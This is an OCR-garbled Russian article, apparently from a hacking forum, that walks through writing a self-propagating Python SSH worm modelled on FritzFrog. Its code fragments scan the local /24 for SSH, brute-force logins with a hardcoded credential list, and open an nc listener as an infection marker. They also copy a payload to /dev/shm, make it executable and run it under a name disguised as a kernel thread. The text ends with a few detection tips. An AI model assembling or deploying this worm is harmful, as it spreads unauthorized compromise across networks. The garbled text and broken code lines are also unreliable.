CraTtbsa Nuwem Yantra Manav - manBapto, 3apaxaroLyro
KoMnbloTepbl No SSH

& xss.is/threads/46684

HenaBHo 51 HaTKHYyJICA Ha cTaThio 0 OoTHeTe FritzFrog, HanienenHom Ha SSH-cepBepbl.
B1oXHOBUBIINCK, A IOyMaJl, TOYeMy OBbI HE CO3/1aTh CBOIO COOCTBEHHYIO Bepcuio SSH-
yepBs, oxoxkero Ha FritzFrog. BpeioHOCHI, KOTOpBIE YMEIOT CAaMOPAaCIIPOCTPAHATHCH,
JIeJIATCS Ha JIBa TUIIA: OHU JINOO IBITAETCSA SKCIUIyaTUPOBATh U3BECTHBIE YA3BUMOCTH, JILOO
IBITAETCS UCII0JIB30BaTh OpPyTdOpC, YTOOBI T0A00paTh Naposib. CerofHsa Mbl 0OpaTUMCS KO
BTOpPOMY MeToay. U mpesxe yeM Mbl Ha4HeM, [103BOJIbTe YIIOMAHYTh OTJINYHYIO CTaThIO B
6siore BuBeka Pamauan/ipana ot 2013 rojzia o co3aannu SSH-uepBs ¢ HCIIOJIb30BAaHIEM
Python. Ona MHe momorJia nu36e:kaTh TPYTHOCTEHN IPU HATTMCAHUU CBOETO cKpunTa. bes
JIMIITHUX CJIOB, JaBaliTe HAUHEM...

Yantra Manav - aTo SSH-uepBb, HanucanHbId Ha Python. OH HCoIb3yeT CTOPOHHIOIO
6ubsimoreky Paramiko jyisa Beimosinerust SSH 6pyrdopca u SFTP kiaueHT i
pacIpocTpaHeHus COOCTBEHHBIX KOTIHH.

HpnMeanne. ﬂJ’I}I 3alllUThI OT KUAUCOB, B 3TOM CTaThe 6y,ZlyT IpEaACTAaBJIICHBI TOJIBKO

(bparMeHTHI KoJia, @ HE TOTOBBIA CKPHUIT.

MHuumnanusauums

Co3maaum Kjaace yantra_manav, cJieioM - MeTo __init__, 00bABUM IIEPEMEHHBIE C

MMeHAMH I10JIb30BaTe el U IapoJieii, KOTopbie OyAyT MCII0Ib30BaThes 1A GpyTdopca.
Code:

class yantra_manav():
def __init_ (self):
self.uname = ['aj', 'root', 'kali', 'msfadmin']
self.passwd = ['root', 'root@l23', 'kali', 'logmein', 'qwerty', '1234', ‘'msfadmin']

NMony4eHue IP-agpeca

Taxk kak MblI co31aeM 060Ta, OH JOJI?KEH OBITH IOCTATOYHO YMEH, YT00ObI MOJIyduTh IP-aipec
MAaIlIMHbI, HA KOTOPOU OH paboTraet. Hac mHTEpecyeT mojiydyeHue IePBbIX TPeX OKTETOB IP-
azpeca, a 3aTeM coszzianue nukiaa FOR s mocieaHero okreTa ot 1 10 255 (3TO MOKPHIBAET
BCe 24 auanasoHa ajipecoB B popmare CIDR).

Code:
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try:
self.getip_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.getip_sock.connect_ex(('169.254.0.0', 4321))
self.getIP = self.getip_sock.getsockname()[9]
finally:
self.getip_sock.close()
self.full IP = self.getIP
#Getting the first three octets
self.IP_three = self.full IP[:self.full IP.rfind(".")] + "."
# Adding the last octets
for IP_four in range(1,255):
self.full segment.append(self.IP_three + str(IP_four))

Jia nonyuenusd IP-azpeca, B IprBeIeHHOM BBIIIIE CHUIIIIETE MBI IIBITAEMCA ITOKJIIOYUTHCA
K JIOKaJIbHOMY 169.254.0.0 Ha 4321 OpTY (CeTh, KOTOPas UCIOJIb3YeTCA JJI
aBTOMAaTHYeCKOU yacTHOU IP-ajpecarum). A MOTOM 3auChIBaeM Pe3YJIbTaT METO/IA
getsockname() B mepemenHyio getIP.

NaeHTudumkauma otkpbitoro SSH-nopTa

3areM Mbl HaUMHAaeM IiepeGupaTth Bee /24 quana3oHa B HaZexae HalTH OTKPBIThI SSH-
IIOPT.
Code:

try:
for self.ranges in self.full_segment:
print(self.ranges)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(“Checking open SSH port for: " + self.ranges)
self.sock_chk = self.sock.connect_ex((self.ranges, 22))
if self.sock_chk == 0:
print("[+] Port is open for
#Calling a method and checking if the target is already compromised or not
self.jagrut()
else:
print("[-] Port is closed :(")
continue
except Exception as e:
print(e)
finally:
self.sock.close()

+ self.ranges + " ")

3/1ech MBI HCIIOJIb3YEeM COKET JIJIsSl MOAKII0UeHUs K [P-agpecy Ha3HAUEHUS U TPOBEPSIEM,
OTKPBIT JIX 22 MOPT. EcJii MOpT OTKPHIT, MBI BbI3bIBaeM MeToy self.jagrut(), koTopbrit
IIPOBEPSIET, B3IaMbIBAJIU JTU MBI €TO PaHee.

Co3agaHue govepHero npouecca




IIpesxe uem MBI iepetizieM Kk metony self.jagrut(), maBaiiTe co3gaaum J0UepHU IIPOIIECE C
nomoIpio ¢ynkiuu fork(), a 3aTem Bpi3oBeM MeTo sunna(), KOTOPBI Oy/IeT 3ammycKaTh
KOMaH/1y Nc, IPOCIyIINBAIOIILYIO0 1234 ITOPT.

Code:

def sunna(self):
print("Running child process with PID:
os.execvp("nc", ["nc", "-1lvp", "1234"])
print("Listening on 1234, going ahead with port scanning activity")

, os.getpid())

A BOT ¥ CJIOXKHAS YaCTh: MbI Oy/IeM HCIT0JIb30BaTh (DYHKITHIO 0S.eXeCVp, IOTOMY YTO €XECVD
IIepPEKPBHIBAET POJAUTEILCKHUH ITpoIece. ATO CAEIaHO /IS TOT0, YTOOBI HE CO3/1aBaTh IBA
HJIEHTUYIHBIX IIPOIIeCca U JIeJIaTh OHO U TO JKE.

Jagrut meTtop

UTo0b!I He OpYyTHOPCUTH 11eJTh, KOTOpas yKe ObLlJIa HAMU CKOMIIPOMETHPOBAHA, MbI BEI30BEM
MeTo/1 jagrut.
Code:

def jagrut(self):

print("Checking if the target is already bruteforced or not for ", self.ranges)
self.connection_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connected = self.connection_sock.connect_ex((self.ranges, 1234))
if self.full IP == self.ranges:

print("[-] Skipping ", self.ranges)
else:

if self.connected ==

print("Target is already compromised!™)
self.ssh_brut()

B npuBesieHHOM BBIllIe hparMeHTe KOAa MbI MCIIOJIb3YEM COKET /IJ1d MOAKIIIOUEeHHU K 1234
nopty. B ycioBuu IF MbI ipoBepsieM, coBriafiaet Jjiu niesieBou IP ¢ IP-agpecom cepBepa.

B yciioBuu ELSE MbI IpoBepsieM, MOKEM JIH MbI IIOAKJIIOUUTHCS K 1234 IOPTY Ha I[€JIEBOM
cepBepe, B cJIydae ycIexa MbI ITHIIEeM, UTO IeJIb YKe CKOMIIPOMETUPOBaHa, a Iocje
BbI3bIBaeM MetToJ self.ssh_brut().

SSH BpyTtdopc

9TO OJIUH U3 OCHOBHBIX KOMIIOHEHTOB, KOTOPHIU IIpefHa3HaveH /it 6pyrdopca SSH. B
cyIyJae, eCJIU COeZJUHeHHe YCIEeITHO, TO BBIBOJUM UM II0JIb30BaTesIA U 1apOJIb.
Code:



def ssh_brut(self):
if self.full_IP != self.ranges and self.connected != 0:
#Setting up the ssh client
self.ssh_handler = paramiko.SSHClient()
# Adding server key if its unknown
self.ssh_handler.set_missing host_key policy(paramiko.AutoAddPolicy())
print("[*] Attacking host " + self.ranges)
for user in self.uname:
for passw in self.passwd:
try:
#Trying to connect to the server
self.conn = self.ssh_handler.connect(hostname=self.ranges,username= user,
password=passw, timeout=300)

print("[+] Successful connection for host with username: " + user + ":" +
passw)

time.sleep(2)

print("sleeping for few seconds")
Tofa

Kax Tosibko MbI coeiuHWINCh 10 SSH, 3aKkiIiounTesIbHBIM 3TanoM Oyzet 3amyck SFTP

KJIMEHTA U nepesiadya daiiia.
Code:

def tofa(self):
print("[*] Starting sFTP client")
sFTP = self.ssh_handler.open_sftp()
sFTP.put("[aj]", "/dev/shm/" + "[aj]")
print("[*] Copying the files!")
self.ssh_handler.exec_command("chmod a+x /dev/shm/\[aj\]")
print("[*] Making the file as an executeable")
self.ssh_handler.exec_command("cd /dev/shm; nohup ./[\aj\] &")
print("[+] Command successfully executed!")

Ms1 kontupyeM ero 1o myTy /dev/shm, a 3atem BoinosiHsAeM. IHTEpEeCHBINT MOMEHT B
Ha3BaHHUU: OHO 3aK/IIOYEHO B KBaJIpaTHBIE CKOOKM «[aj]».

B Linux, ecytt ©Ms mpoliecca 3aK/II0UeHO0 B KBa/IpaTHBIE CKOOKH, TO OH CYUTAETCS TTIOTOKOM
rporiecca s/ipa. 3/1ecb Mbl IbITA€MCHI UMUTUPOBATH 3TO.

POC:

[TosyuenHbl# ckpunt npeobpasyercs B ELF ¢ momopio pyinstaller.

OrpaHun4yeHus:

e IIpoBepka TOJIBKO OAHOTO UHTepdetica.



Bpytdopc He nmpekpalaeTcs mocje yClenHol ayTeHTuGUKaIu.
Bpyrdopc Ha nopte SSH no ymosruanuio (22).

Bpyrdopc Tonbko aia /24 nuanazonos CIDR.
* B03MOKHBI JIO3KHBIE cpabaThIBAHUA

O6HapyxeHue

e l36eraiiTe UCIIOJIH30BAaHUSA UMEHH II0JIb30BATEJISA U TTAPOJISI IO YMOJTYAHHUIO.

e MownuTtopsTe J10TH cO0oeB ayreHTHGUKauu SSH

e Buegpure Fail2ban, uro6s1 nzbesxaTtsh OpyTdopca

e Ompenenure mpoIece, KOTOPbIH KMUTHPYET ITOTOK mpoIiecca sapa ¢ momoinbio DMKPT

HUCTOYHUK
mepeBo; @Moody
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